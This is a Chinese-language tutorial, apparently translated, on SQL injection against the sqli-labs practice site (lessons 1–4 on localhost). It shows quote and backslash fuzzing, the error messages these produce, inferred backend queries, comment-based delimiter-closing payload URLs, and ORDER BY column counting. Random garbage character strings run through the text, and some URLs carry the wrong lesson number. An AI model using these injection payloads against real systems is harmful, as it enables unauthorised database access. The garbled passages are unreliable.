1 O8 _, i8 O9 {0 B! D( BLess3: http://localhost/sqli-labs/Less-3/?id=asdf7 N9 g2 d# [( X
Less4: http://localhost/sqli-labs/Less-4/?id=asdf2 t9 f8 R: I; B/ c
- h7 E* l6 \5 ]
整数和字符串测试的结果:我们看到,Less1、Less3、Less4返回的页面是空的,没有任何结果和报错,而Less2返回不同的,有一个MySQL错误消息。 从非常基本的编程技术,我们知道一个字符串参数始终包裹在单引号或双引号中,而整数不是这样。 因此,我们可以假设,Less1、Less3和Less4使用某种形式的引号包裹用户输入。他们认为输入的字符串值在数据库中不存在的,因此返回空值。Less2产生了一个错误提示,这意味着用户输入没有被引号包裹,因此整数型的输入在查询中正常工作,但是输入字符串值确产生了报错。 综上,我们可以推断出, less1、less3、less4是基于字符串的注入,而less2是一个整数型的注入。 . K* s# n: U3 l; R* M继续模糊化:现在,让我们进一步采取模糊的字符. & e- E; `& G, C* H5 P& m6 Z v用单引号来进行测试 ( X1 K6 a1 P9 a- D- Q& n# Jless1, T! `2 @( F8 N( A- l9 _( f ^! E
http://localhost/sqli-labs/Less-1/?id=1‘3 S8 \! w. p) `; o# O8 L
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1 % _+ f% Z' _ Z3 g. zless2" s! g$ I( \4 B& H1 L3 P0 G% ~# X
http://localhost/sqli-labs/Less-2/?id=1 ’2 C7 Q6 l2 s3 a: }- V
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1′ at line 1 ( ]9 U) [) }& q , v: u7 X! D! x' @less36 X) |! K2 [2 {+ s- j! k
http://localhost/sqli-labs/Less-3/?id=1 ’* D& ~& _" I& o j
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”) LIMIT 0,1′ at line 1 4 E3 G/ B. C' ^& V: h) `1 h所有这三个都产生错误提示,只有less4没有错误提示,反正正常的查询结果. C+ h% R+ `( o2 l: R1 U
用双引号进行测试 ( d$ o( b0 \" y6 `/ _用双引号测试发现只有less4会产生错误提示,less1、less2、less3都返回正常的结果。( @0 H- K7 e' |% G: I: T. @
* L. W R8 {/ N w9 U) v5 j- X8 ?通过上面的测试,less1、less2、less3是单引号注入,而less4是双引号注入. 7 a( L* Z# o/ ?- c1 N1 a+ g$ v9 K ) k, f3 S" K. C
综合所有的测试,less1、less3、less4是基于字符串的注入,而less2是基于数字的注入。4 O8 F) ~* H- s5 o: S: n' A, \7 O& b
用\进行测试7 N; ?, Q# U0 ^
“\”转义符在mysql中是为了打印具有特殊意义的字符串。测试结果如下: $ y' ?' N, u. i eless1 ( r9 u) T6 n3 Q3 U: d& D3 ~http://localhost/sqli-labs/Less-1/?id=1\! \ ~! U7 X4 U
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’ LIMIT 0,1′ at line 1 ( c0 Y. [/ _6 ^5 P* v2 `# \less2) B- P' B1 @$ f! M' W3 c, |( T
http://localhost/sqli-labs/Less-2/?id=1\ # m ]8 g9 w. M* H& ~You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘\ LIMIT 0,1′ at line 1 0 T" p) R" S! H5 K/ ?less30 H8 G" p) S) o* {; K! r
http://localhost/sqli-labs/Less-3/?id=1\ ( i7 }( F9 }6 z1 x' {+ r) {; E! S) @You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’) LIMIT 0,1′ at line 1 6 c! c; e! q4 mless46 @& k4 Z8 l6 u
http://localhost/sqli-labs/Less-4/?id=1\ / [4 T/ |' M/ Z3 ZYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘”1\”) LIMIT 0,1′ at line 1! Y U/ D+ I3 ^( c
less1的报错,当我们输入1\的时候,报错信息中1\附近可以看到一个单引号,说明输入字符串是被单引号所包裹的。 L& H7 L6 `8 P% {0 q1 l2 R
less2的报错信息,当我们输入1\的时候,报错信息中没有返回引号,说明less2是一个整数类型的注入,不需要用引号来突破查询获取结果。 0 T2 A: r( [; p7 k8 tless3报错信息,当我们输入1\的时候,报错信息中1\后面出现了’),说明应用程序中的变量是在括号中的,如(‘var’)./ q* b Q8 s5 Y
less4的报错信息,当我们输入1\的时候,报错信息中1\后面出现了”),说明应用程序中的变量var是这样的,如(“var”). h _( ~4 U5 o, ?6 g# Q: N$ G这四种情况在后端查询中使用的语句实际分别为: % z" W2 x# m+ U# L/ W9 }( nLess-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,1 ! `: F8 F/ I4 y( |Less-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,1 : v7 ~# T2 }; d" j" J& T' HLess-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1 ( o3 T5 v1 p, E* c, `; tLess-4: SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1 1 b/ K# K6 c U4 p 9 w+ f" ^, f& \3 I* U3 v! y/ p8 i$ y对于一个成功的注入,应该关闭查询语句中围绕在变量周围的分隔符,从而使我们逃避字符串/整数的编辑,并且成功执行sql语句.有两种方法,一种是注释掉其余的查询语句,另外一种是增加额外的分隔符,多余的分隔符使查询语句在语法上是正确的,如:: P9 q6 }% \$ Q" B2 ^
Less-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,1 3 n' y+ h) \! v& Q# ` Y2 j9 l当我们输入的参数$ID的值为1‘,查询语句就会变成如下:% \3 x, G5 L b% |% |, K
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ ‘ LIMIT 0,1 0 @; W) E3 r! l现在这个查询语句是不正确的,我们需要解决多余的’号,这个’号是原始查询的一部分,可以用以下方法: ' {6 c9 x/ c4 q9 |) L; H9 v" ?方法一: 7 F2 O' L! J) |$ z可以使用sql注释来修复语法问题,mysql使用三种类型的注释:-+、#、/**/ 。因此我们可以使用1′-+或者1′#3 ?& U v |$ U4 q7 D4 c
查询语句将变为如下: # z/ C# }% O- F5 O+ D$ L6 oSELECT * FROM TABLE_NAME WHERE ID=’ 1′–+ ‘ LIMIT 0,1 ' O" D3 X& K$ b3 USELECT * FROM TABLE_NAME WHERE ID=’ 1′ # ‘ LIMIT 0,1 " R2 |0 z! O$ r1 E! U注射的完整URL如下:# g0 z2 _/ j$ ?( F1 J8 ~
http://localhost/sqli-labs/Less-1/?id=1′–+3 L( d; u6 Y0 z, z3 j7 H2 ^2 a+ `
http://localhost/sqli-labs/Less-1/?id=1′ %230 m6 r o0 z+ T! U
(%23是#号的url编码)% r% b. M B: T
在less2中,因为没有额外的引号,所以只需要注释掉后面的语句就可以了,查询语句和完整的sql注射URL如下: - s* w" N' w8 Dhttp://localhost/sqli-labs/Less-2/?id=1–+# u( \0 e6 h0 {0 I% x6 q5 F8 w& ~
( y; a: M5 V0 V5 M: x) X4 Ittp://localhost/sqli-labs/Less-2/?id=1 %23 + b0 j) H Z" @1 R% E1 k( kSELECT * FROM TABLE_NAME WHERE ID= 1–+ LIMIT 0,1! v2 V- I7 g( U, y5 ~
SELECT * FROM TABLE_NAME WHERE ID= 1# LIMIT 0,1* S# W, R, {% {7 i8 H
在less3中,我们推断后端sql语句如下:; f! V$ D! W# k; k3 H
SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,13 P m6 F3 R9 w$ ]
所以我们需要想办法先关闭掉分隔符,然后再注释掉后面的语句 $ ?/ {9 d! J, ?4 D U+ SSELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) –+ ‘) LIMIT 0,1 8 A, W( L# b- p! BSELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) # ‘) LIMIT 0,1 * C1 Z: a% g: O5 ]! n! `( Y5 w2 k注射: 1′) –+ 1′) #4 m* I$ r( k5 e* v. m4 r7 B% k
完整的注射URL:# i7 o7 a. {: c
http://localhost/sqli-labs/Less-2/?id=1‘)-+ 7 D8 p& `' N: E% Q2 ?http://localhost/sqli-labs/Less-2/?id=1′) %23! M3 \* N: e( X
在less4中,我们推广后端sql语句如下: 6 ^, i7 x: D3 k6 [0 }& e7 r; dSELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1* b7 [3 N7 ]. T2 q+ e
同样,需要关闭掉分隔符,然后注释掉后面的语句 $ \: X+ a! p: X3 g4 L5 |SELECT * FROM TABLE_NAME WHERE ID=(” 1″) –+ “) LIMIT 0,1 6 m5 H, i3 j/ E* k" }SELECT * FROM TABLE_NAME WHERE ID=(” 1″) # “) LIMIT 0,1 # u' ~% y) I$ ~# A注射: 1″) –+ 1″) #; Q, d: q' \; }# I/ s
http://localhost/sqli-labs/Less-2/?id=1″)–+ - i2 Y; P- ?5 Vhttp://localhost/sqli-labs/Less-2/?id=1 “)%23 ) ^+ e. k0 U5 s; S+ K' s通过查询了解表中的字段数/ G0 z3 ` U; {& S, d6 E5 X. N# A
正如我们看到的,在枚举阶段,应用程序与数据库进行交互,并在网页上显示一些信息,这个过程经常会用到union语句联合查询数据库中的信息。使用union语句的一个限制是两个表或者多个表中的字段必须数量一致,因此需要用order by语句来判断字段数量。当只有N个字段时,如果你order by N+1或更大,就报错了。 & i; Q8 k! z+ e( s- C3 \6 d下面我们测试用order by 1,order by 2……等来查询观察结果.6 t2 M+ p* n, a" z3 B% [
http://localhost/sqli-labs/Less-1/?id=1′ order by 1-+ 返回正常页面 . X, J R% X- U6 p4 xhttp://localhost/sqli-labs/Less-1/?id=1′ order by 4-+返回错误页面,说明表中只有3列. 6 w6 l& W. I8 PLesson2:" c9 o9 \0 S; o. ^0 P) j
Injection: 1 ORDER BY 1 –+ => 没有错误., s# P, D$ [6 m* T. n2 _, g1 l' o, [0 ^
Injection: 1 ORDER BY 2–+ => 没有错误. $ B1 R) n% k3 X8 IInjection: 1 ORDER BY 3 –+ => 没有错误.# w2 D, B! Z9 X. X8 g0 K' q. Z! J
Injection: 1 ORDER BY 4 –+ => 错误 – 可以确定表中只有三列.. X! d8 [; R: ^4 P f, G; q
当我们知道了表中的字段数,我们就可以继续下一步查询相关的字段名或者字段值了。 ( p; @+ B& O- D4 B # \# a; w4 g6 L* A' F本文是由阿德马翻译,转载请注明出处.本人有一个学习测试环境,目前还没有搭建好。